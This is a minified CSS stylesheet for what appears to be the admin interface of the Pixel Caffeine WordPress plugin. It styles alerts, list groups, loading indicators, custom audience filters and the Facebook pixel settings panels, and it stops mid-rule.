.alert-fancy.alert { background-color: transparent; padding: 0; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .pixel-caffeine-wrapper .alert-fancy .alert-inner { padding: 15px; -webkit-box-flex: 1; -ms-flex: 1 1 auto; flex: 1 1 auto; position: relative; margin-left: 5px; } .pixel-caffeine-wrapper .alert-fancy .alert-inner *:only-child { margin: 0; } .pixel-caffeine-wrapper .alert-fancy .alert-inner::after { content: ""; position: absolute; left: -15px; top: 0; bottom: 0; width: 0; height: 0; border-style: solid; border-width: 15px 15px 15px 0; margin: auto; } .pixel-caffeine-wrapper .alert-fancy::before { content: ""; height: 150px; width: 150px; min-width: 100px; background-repeat: no-repeat; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fancy.alert-warning .alert-inner { background: #ffc464; } .pixel-caffeine-wrapper .alert-fancy.alert-warning .alert-inner::after { border-color: transparent #ffc464 transparent transparent; } .pixel-caffeine-wrapper .alert-fancy.alert-warning::before { background-image: url(walter-face-lost.png); background-size: 85%; background-position: center left; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fancy.alert-success .alert-inner { background: #73bb23; } .pixel-caffeine-wrapper .alert-fancy.alert-success .alert-inner::after { border-color: transparent #73bb23 transparent transparent; } .pixel-caffeine-wrapper .alert-fancy.alert-success::before { background-image: url(walter-face-2.png); background-size: 85%; background-position: center left; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fancy.alert-danger .alert-inner { background: #E15667; } .pixel-caffeine-wrapper .alert-fancy.alert-danger .alert-inner::after { border-color: transparent #E15667 transparent transparent; } .pixel-caffeine-wrapper .alert-fancy.alert-danger::before { background-image: url(walter-face-lost.png); background-size: 85%; background-position: center left; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fancy.alert-info .alert-inner { background: #5bc0de; } .pixel-caffeine-wrapper .alert-fancy.alert-info .alert-inner::after { border-color: transparent #5bc0de transparent transparent; } .pixel-caffeine-wrapper .alert-fancy.alert-info::before { background-image: url(walter-face.png); background-size: 85%; background-position: center left; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fancy.alert-token::before { background-image: url(renew-token.png); background-size: 85%; background-position: center left; } } .pixel-caffeine-wrapper .alert-fixed { position: fixed; z-index: 12; } .pixel-caffeine-wrapper .alert-fixed .alert { margin-bottom: 0; -webkit-transition: margin-bottom 0.2s ease-in-out, -webkit-box-shadow 0.2s ease-in-out; transition: margin-bottom 0.2s ease-in-out, -webkit-box-shadow 0.2s ease-in-out; -o-transition: box-shadow 0.2s ease-in-out, margin-bottom 0.2s ease-in-out; transition: box-shadow 0.2s ease-in-out, margin-bottom 0.2s ease-in-out; transition: box-shadow 0.2s ease-in-out, margin-bottom 0.2s ease-in-out, -webkit-box-shadow 0.2s ease-in-out; -webkit-box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .alert-fixed .alert-fancy.alert { -webkit-box-shadow: none; box-shadow: none; background: rgba(255, 255, 255, 0.8); } .pixel-caffeine-wrapper .alert-fixed .alert-fancy.alert .alert-inner { -webkit-box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); } } .pixel-caffeine-wrapper .alert-wrap:before, .pixel-caffeine-wrapper .alert-wrap:after { display: table; content: " "; } .pixel-caffeine-wrapper .alert-wrap:after { clear: both; } .pixel-caffeine-wrapper .alert-info-disabled { display: none; } .pixel-caffeine-wrapper .disabled-box { position: relative; } .pixel-caffeine-wrapper .disabled-box::before { position: absolute; top: 0; left: 0; content: ""; display: block; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.75); z-index: 10; opacity: 0.75; } .pixel-caffeine-wrapper .disabled-box .alert-info-disabled { display: block; position: absolute; top: 75px; left: 50%; margin-left: -35%; width: 70%; background: #f1f1f1; color: #444; text-align: center; z-index: 11; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .disabled-box .alert-info-disabled { width: 50%; margin-left: -25%; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .disabled-box .alert-info-disabled { width: 400px; margin-left: -200px; } } .pixel-caffeine-wrapper .disabled-box .alert-info-disabled .alert-tit { display: block; font-weight: bold; margin-bottom: 10px; } .pixel-caffeine-wrapper .list-group-tit { font-size: 18px; text-transform: uppercase; } .pixel-caffeine-wrapper .list-group .list-group-separator::before { width: calc(100% - (32px + 16px + 5px + 16px)); } .pixel-caffeine-wrapper .list-group .list-group-item { padding: 0; } .pixel-caffeine-wrapper .list-group .list-group-item::before { content: "description"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; display: inline-block; vertical-align: top; width: 32px; line-height: 32px; background: #CCC; border-radius: 100%; margin-right: 16px; text-align: center; font-size: 24px; color: #FFF; } .pixel-caffeine-wrapper .list-group .list-group-item .list-group-item-heading { font-size: 14px; font-weight: bold; line-height: 1.428571429; } .pixel-caffeine-wrapper .list-group .list-group-item a.list-group-item-heading { color: #337ab7; } .pixel-caffeine-wrapper .list-group .list-group-item .list-group-item-date { display: block; margin-bottom: 5px; font-style: italic; color: #919191; } .pixel-caffeine-wrapper .list-group .list-group-item .list-group-item-text { font-size: 12px; } .pixel-caffeine-wrapper .list-group .list-group-item .row-content { width: calc(100% - (32px + 16px + 5px)); min-height: auto; } .pixel-caffeine-wrapper .list-group.no-icon .list-group-separator::before { width: 100%; } .pixel-caffeine-wrapper .list-group.no-icon .list-group-item::before { display: none; } .pixel-caffeine-wrapper .list-group.no-icon .list-group-item .row-content { width: 100%; } .pixel-caffeine-wrapper .list-filter .filter-and { text-transform: uppercase; font-weight: normal; color: #CCC; padding-right: 10px; display: table-cell; vertical-align: middle; } .pixel-caffeine-wrapper .list-filter .label { background-color: transparent; border-radius: 0; color: #444; text-align: left; font-weight: 300; font-size: 14px; line-height: normal; white-space: normal; -webkit-transition: background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1); -o-transition: background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1); transition: background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1); border: 1px dashed #CCC; display: table-cell; vertical-align: middle; } .pixel-caffeine-wrapper .list-filter .actions { opacity: 0; -webkit-transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1); -o-transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1); padding: 0 10px; display: table-cell; vertical-align: middle; } .pixel-caffeine-wrapper .list-filter li { display: table; margin-bottom: 10px; } .pixel-caffeine-wrapper .list-filter li:hover .label { background-color: #EEE; } .pixel-caffeine-wrapper .list-filter li:hover .actions { opacity: 1; } .pixel-caffeine-wrapper .loading-data:not(.btn)::after { content: "sync"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; -webkit-animation: anim-spin 1s infinite linear; -o-animation: anim-spin 1s infinite linear; animation: anim-spin 1s infinite linear; font-size: inherit; line-height: normal; color: inherit; } .pixel-caffeine-wrapper .loading-data.btn { pointer-events: none; } .pixel-caffeine-wrapper .loading-data.btn::before { content: "sync"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; -webkit-animation: anim-spin 1s infinite linear; -o-animation: anim-spin 1s infinite linear; animation: anim-spin 1s infinite linear; font-size: inherit; line-height: normal; color: inherit; font-size: 24px; } .pixel-caffeine-wrapper .loading-data.btn-fab::before { margin-top: -12px; margin-left: -12px; } .pixel-caffeine-wrapper .loading-data.btn-fab-mini::before { margin-top: -14px; margin-left: -14px; } .pixel-caffeine-wrapper .btn-group-sm .btn-fab.loading-data { pointer-events: none; } .pixel-caffeine-wrapper .btn-group-sm .btn-fab.loading-data::before { margin-top: -14px; margin-left: -14px; } .pixel-caffeine-wrapper .loading-data.loading-box { position: relative; } .pixel-caffeine-wrapper .loading-data.loading-box::before { position: absolute; top: 0; left: 0; content: ""; display: block; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.75); z-index: 10; } .pixel-caffeine-wrapper .loading-data.loading-box::after { position: absolute; top: 50%; left: 50%; width: 90px; height: 90px; line-height: 90px; background: #EEE; border-radius: 50%; margin-top: -45px; margin-left: -45px; text-align: center; font-size: 50px; color: #444; z-index: 11; } .pixel-caffeine-wrapper .loading-data.loading-box::before, .pixel-caffeine-wrapper .loading-data.loading-box::after { opacity: 0.75; } @-webkit-keyframes placeholder-shimmer { 0% { background-position: 100% 0; } 100% { background-position: -100% 0; } } @-o-keyframes placeholder-shimmer { 0% { background-position: 100% 0; } 100% { background-position: -100% 0; } } @keyframes placeholder-shimmer { 0% { background-position: 100% 0; } 100% { background-position: -100% 0; } } .pixel-caffeine-wrapper .highlight-element.form-toggle { padding-top: 20px; padding-bottom: 20px; padding-left: 15px; padding-right: 15px; } .pixel-caffeine-wrapper .highlight-element.warning { background: #ffebca; } .pixel-caffeine-wrapper .popover a { color: #fff; text-decoration: underline; } .pixel-caffeine-wrapper .panel-ca-list .panel-heading .tit::before { content: "person"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-ca-list .panel-footer { text-align: center; } .pixel-caffeine-wrapper .panel-ca-list .table { margin-bottom: 0; } .pixel-caffeine-wrapper .panel-ca-list .table .name { max-width: 500px; font-weight: 600; } .pixel-caffeine-wrapper .panel-ca-list .table .name .info-extra { font-weight: normal; } @media screen and (min-width: 1199px) { .pixel-caffeine-wrapper .panel-ca-list .table .name { width: auto; } } .pixel-caffeine-wrapper .panel-ca-new .panel-heading .tit::before { content: "person_add"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-ca-filters .panel-heading .tit::before { content: "filter_list"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .modal-ca-filter .btn-group { padding-bottom: 20px; } .pixel-caffeine-wrapper .modal-ca-filter .form-radio .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } @media (min-width: 992px) { .pixel-caffeine-wrapper .modal-ca-filter .form-radio .control-wrap { float: left; width: 100%; } } .pixel-caffeine-wrapper .modal-ca-filter .form-radio .radio { -webkit-box-flex: 0 0 33%; -ms-flex: 0 0 33%; flex: 0 0 33%; padding-right: 32px; } .pixel-caffeine-wrapper .modal-ca-filter .form-user, .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields { padding-left: 7.5px; padding-right: 7.5px; } .pixel-caffeine-wrapper .modal-ca-filter .form-user .control-label, .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 7.5px; padding-right: 7.5px; } @media (min-width: 992px) { .pixel-caffeine-wrapper .modal-ca-filter .form-user .control-label, .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields .control-wrap { float: left; width: 33.3333333333%; } } .pixel-caffeine-wrapper .modal-ca-filter .form-user .control-wrap, .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields .control-wrap + .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 7.5px; padding-right: 7.5px; } @media (min-width: 992px) { .pixel-caffeine-wrapper .modal-ca-filter .form-user .control-wrap, .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields .control-wrap + .control-wrap { float: left; width: 66.6666666667%; } } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.multiple-three .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 7.5px; padding-right: 7.5px; } @media (min-width: 992px) { .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.multiple-three .control-wrap { float: left; width: 33.3333333333%; } } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.can-add-fields { padding-bottom: 20px; } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.can-add-fields .form-group { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: center; -webkit-box-align: center; align-items: center; padding-bottom: 10px; } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.can-add-fields .form-control { margin-bottom: 0; } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.can-add-fields .control-wrap { -webkit-box-flex: 1 1 auto; -ms-flex: 1 1 auto; flex: 1 1 auto; } .pixel-caffeine-wrapper .modal-ca-filter .multiple-fields.can-add-fields .multiple-fields-actions { margin-left: -7.5px; margin-right: -7.5px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .panel-heading .tit::before { content: "settings"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .panel-body { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: stretch; -webkit-box-align: stretch; align-items: stretch; -ms-flex-wrap: wrap; flex-wrap: wrap; padding: 0; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .panel-footer .form-group { margin-top: 0; padding-bottom: 0; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel { -webkit-box-flex: 1 0 100%; -ms-flex: 1 0 100%; flex: 1 0 100%; padding: 15px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel:first-child { position: relative; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; padding-top: 35px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect { background: #f2f4fa; padding-bottom: 35px; border-bottom: 1px solid #ddd; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel { -webkit-box-flex: 1 0 49%; -ms-flex: 1 0 49%; flex: 1 0 49%; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel:first-child { padding-right: 45px; border-right: 1px solid #ddd; border-bottom: 0; padding-top: 15px; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect { padding-left: 45px; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; padding-bottom: 15px; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .divider { display: block; position: absolute; top: 0; right: 0; left: 0; margin: auto; width: 70px; height: 70px; line-height: 70px; border-radius: 50%; background: #FFF; border: 1px solid #ddd; margin-top: -35px; text-align: center; text-transform: uppercase; font-style: normal; font-weight: 600; color: #aaaaaa; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .divider { top: 50%; right: -35.5px; left: auto; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .btn-fb-connect { padding-left: 12px; padding-right: 12px; font-size: 1.2em; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .btn-fb-connect::before { width: 16px; height: 16px; margin: -4px 0.5em 0 0; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .btn-fb-connect { font-size: 1.5em; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .btn-fb-connect::before { width: 20px; height: 20px; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-px-id .control-wrap { position: relative; padding-left: 0; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-px-id .control-wrap::before { position: absolute; top: 0; right: 0; content: "check"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; width: 40px; height: 40px; line-height: 40px; font-size: 2em; text-align: center; color: #68AA20; display: none; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-px-id .control-wrap .form-control { padding-right: 40px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-px-id.active .control-wrap::before { display: block; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-px-id.active .form-control { background-image: -webkit-gradient(linear, left top, left bottom, from(#68AA20), to(#68AA20)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#68AA20, #68AA20), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#68AA20, #68AA20), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#68AA20, #68AA20), linear-gradient(#D2D2D2, #D2D2D2); background-size: 100% 2px, 100% 1px; border-bottom-color: #68AA20; color: #68AA20; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect { border-bottom: none; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-actions { display: none; overflow: hidden; font-size: 12px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-actions .user-disconnect { display: inline-block; padding-right: 10px; margin-right: 10px; border-right: 1px dotted #68AA20; -webkit-transform: translate(-100%, 0); -o-transform: translate(-100%, 0); transform: translate(-100%, 0); } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-actions .user-disconnect { border-right: none; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-actions .user-edit { font-weight: 600; -webkit-transform: translate(100%, 0); -o-transform: translate(100%, 0); transform: translate(100%, 0); } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-actions .user-edit { float: right; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-info { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: flex-start; -webkit-box-align: start; align-items: flex-start; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .user-avatar { width: 35px; height: 35px; margin-right: 10px; border: 3px solid #FFF; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect .sub-panel-actions { float: right; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.to-set-up { background: #ffebca; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.to-set-up .form-group .select2-container:not(.select2-container-disabled) { background-color: #FFF; background-image: -webkit-gradient(linear, left top, left bottom, from(#FD9C00), to(#FD9C00)), -webkit-gradient(linear, left top, left bottom, from(#ffd797), to(#ffd797)); background-image: -webkit-linear-gradient(#FD9C00, #FD9C00), -webkit-linear-gradient(#ffd797, #ffd797); background-image: -o-linear-gradient(#FD9C00, #FD9C00), -o-linear-gradient(#ffd797, #ffd797); background-image: linear-gradient(#FD9C00, #FD9C00), linear-gradient(#ffd797, #ffd797); background-position: center bottom, center bottom; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.to-set-up .form-group label.control-label { color: #e48c00; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.to-set-up .user-info { float: left; margin: 10px 0; font-size: 12px; color: #777777; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.to-set-up .user-disconnect { display: block; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active { background: #e5f7d2; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info { background: #68AA20; padding: 16px; border-radius: 4px; margin-top: 10px; margin-bottom: 10px; white-space: normal; font-weight: 600; line-height: 1.2em; text-transform: none; color: #FFF; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info { -ms-flex-align: flex-start; -webkit-box-align: start; align-items: flex-start; -ms-flex-pack: flex-start; -webkit-box-pack: start; justify-content: flex-start; margin-top: 16px; position: relative; } @media screen and (min-width: 480px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info::after { position: absolute; top: 50%; margin-top: -25px; right: 16px; width: 50px; height: 50px; line-height: 50px; content: "check"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; color: inherit; font-size: 3.8em; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-info-account { margin-right: 80px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-avatar { display: block; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info::after { display: none; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-avatar { display: none; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-info-account { margin-right: 0; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info::after { display: block; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-avatar { display: block; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-info .user-info-account { margin-right: 80px; } } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-avatar { display: none; width: 50px; height: 50px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-ad-account, .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-name { font-size: 14px; line-height: normal; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-ad-account { display: block; text-transform: uppercase; font-size: 12px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .pixel-id, .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-ad-account { font-weight: 300; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .pixel-id { font-style: normal; color: #FFF; font-size: 1.3em; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .pixel-id-value, .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-ad-account-value { font-weight: 600; word-break: break-all; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-ad-account-value { display: block; text-transform: none; font-size: 14px; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .fb-connect-info .user-name { font-weight: 300; color: #d9f3bd; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .user-actions { display: block; } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .user-actions .user-edit { -webkit-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .pixel-caffeine-wrapper .panel-settings-set-fb-px .sub-panel-fb-connect.active .user-actions .user-disconnect { -webkit-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .pixel-caffeine-wrapper .panel-settings-ca .panel-heading .tit::before, .pixel-caffeine-wrapper .panel-settings-ss .panel-heading .tit::before { content: "person"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-settings-ca .form-track, .pixel-caffeine-wrapper .panel-settings-ss .form-track { margin: 20px 0; } .pixel-caffeine-wrapper .panel-settings-ca .form-track:before, .pixel-caffeine-wrapper .panel-settings-ca .form-track:after, .pixel-caffeine-wrapper .panel-settings-ss .form-track:before, .pixel-caffeine-wrapper .panel-settings-ss .form-track:after { display: table; content: " "; } .pixel-caffeine-wrapper .panel-settings-ca .form-track:after, .pixel-caffeine-wrapper .panel-settings-ss .form-track:after { clear: both; } .pixel-caffeine-wrapper .panel-settings-ca .form-track .control-label, .pixel-caffeine-wrapper .panel-settings-ca .form-track .control-wrap, .pixel-caffeine-wrapper .panel-settings-ss .form-track .control-label, .pixel-caffeine-wrapper .panel-settings-ss .form-track .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 0; padding-right: 0; } @media (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-ca .form-track .control-label, .pixel-caffeine-wrapper .panel-settings-ca .form-track .control-wrap, .pixel-caffeine-wrapper .panel-settings-ss .form-track .control-label, .pixel-caffeine-wrapper .panel-settings-ss .form-track .control-wrap { float: left; width: 100%; } } .pixel-caffeine-wrapper .panel-settings-ca .control-label, .pixel-caffeine-wrapper .panel-settings-ss .control-label { padding-top: 0; text-align: left; } .pixel-caffeine-wrapper .panel-settings-ca .control-label .tit, .pixel-caffeine-wrapper .panel-settings-ss .control-label .tit { font-size: 20px; } .pixel-caffeine-wrapper .panel-settings-ca .sub-panel-adv-opt .form-group, .pixel-caffeine-wrapper .panel-settings-ss .sub-panel-adv-opt .form-group { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 0; } @media (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-ca .sub-panel-adv-opt .form-group, .pixel-caffeine-wrapper .panel-settings-ss .sub-panel-adv-opt .form-group { float: left; width: 50%; } } .pixel-caffeine-wrapper .panel-settings-ca .sub-panel-adv-opt .control-wrap, .pixel-caffeine-wrapper .panel-settings-ss .sub-panel-adv-opt .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 0; padding-right: 0; } @media (min-width: 992px) { .pixel-caffeine-wrapper .panel-settings-ca .sub-panel-adv-opt .control-wrap, .pixel-caffeine-wrapper .panel-settings-ss .sub-panel-adv-opt .control-wrap { float: left; width: 100%; } } .pixel-caffeine-wrapper .panel-settings-ca .sub-panel-adv-opt label, .pixel-caffeine-wrapper .panel-settings-ss .sub-panel-adv-opt label { text-align: left; } .pixel-caffeine-wrapper .panel-settings-conversions .panel-heading .tit::before { content: "shopping_cart"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-detect .tit, .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions .tit { font-size: 20px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-detect { margin: 15px 0 30px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-detect .tit { display: inline-block; margin-top: 0; margin-bottom: 0; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-detect .info { display: block; margin-top: 10px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-detect .info a { font-weight: 600; text-decoration: underline; text-transform: uppercase; color: inherit; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions { border-top: 1px solid #ddd; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions::after, .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions::before { content: ""; display: block; position: absolute; top: 0; left: 40px; width: 0; height: 0; border-style: solid; } .pixel-caffeine-wrapper .panel-settings-conversions 